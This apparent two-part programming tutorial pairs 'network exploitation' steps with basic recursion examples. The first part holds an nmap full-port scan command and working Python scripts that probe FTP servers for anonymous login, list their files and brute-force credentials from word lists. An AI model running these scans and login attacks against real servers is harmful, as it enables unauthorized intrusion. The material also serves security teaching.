**🌐 Part 1: Network Exploitation – Step-by-Step**

**🛠️ Goal: Scan for open ports and exploit anonymous FTP login**

**Step 1: Scan for Open Ports**

Use nmap to scan a target machine for open ports.

nmap -sV -p- 192.168.1.10

 -sV detects service versions.

 -p- scans all 65535 ports.

**Step 2: Detect FTP and Try Anonymous Login**

**ftp\_exploit.py**

import ftplib

def anonymous\_ftp\_login(target):

try:

ftp = ftplib.FTP(target)

ftp.login()

print(f"[+] Anonymous login successful on {target}")

ftp.quit()

except Exception as e:

print(f"[-] Anonymous login failed: {e}")

if \_\_name\_\_ == "\_\_main\_\_":

target\_ip = "192.168.1.10"

anonymous\_ftp\_login(target\_ip)

Step 3: Extract Directory Contents After Login

def list\_files(target):

try:

ftp = ftplib.FTP(target)

ftp.login()

files = ftp.nlst()

print(f"[+] Files on {target}:")

for f in files:

print(f" - {f}")

ftp.quit()

except Exception as e:

print(f"[-] Error listing files: {e}")

if \_\_name\_\_ == "\_\_main\_\_":

target\_ip = "192.168.1.10"

list\_files(target\_ip)

Optional: Brute-force FTP Login (For Educational Use Only)

from ftplib import FTP

def brute\_force\_ftp(target, usernames, passwords):

for user in usernames:

for password in passwords:

try:

ftp = FTP(target)

ftp.login(user, password)

print(f"[+] Login success: {user}:{password}")

ftp.quit()

return

except:

print(f"[-] Failed: {user}:{password}")

usernames = ['admin', 'ftp', 'user']

passwords = ['1234', 'admin', 'password']

brute\_force\_ftp("192.168.1.10", usernames, passwords)

**🔁 Part 2: Recursion – Step-by-Step**

**Step 1: Factorial (Classic Example)**

def factorial(n):

if n == 0:

return 1

return n \* factorial(n - 1)

print(factorial(5)) # Output: 120

**Step 2: Fibonacci with and without Memoization**

**Basic Recursion**

def fibonacci(n):

if n <= 1:

return n

return fibonacci(n - 1) + fibonacci(n - 2)

print(fibonacci(6)) # Output: 8

Optimized with Memoization

def fibonacci\_memo(n, memo={}):

if n in memo:

return memo[n]

if n <= 1:

return n

memo[n] = fibonacci\_memo(n - 1, memo) + fibonacci\_memo(n - 2, memo)

return memo[n]

print(fibonacci\_memo(10)) # Output: 55

Step 3: Recursive File Search

import os

def recursive\_search(path):

for item in os.listdir(path):

full\_path = os.path.join(path, item)

if os.path.isdir(full\_path):

recursive\_search(full\_path)

else:

print(f"File: {full\_path}")

recursive\_search(".")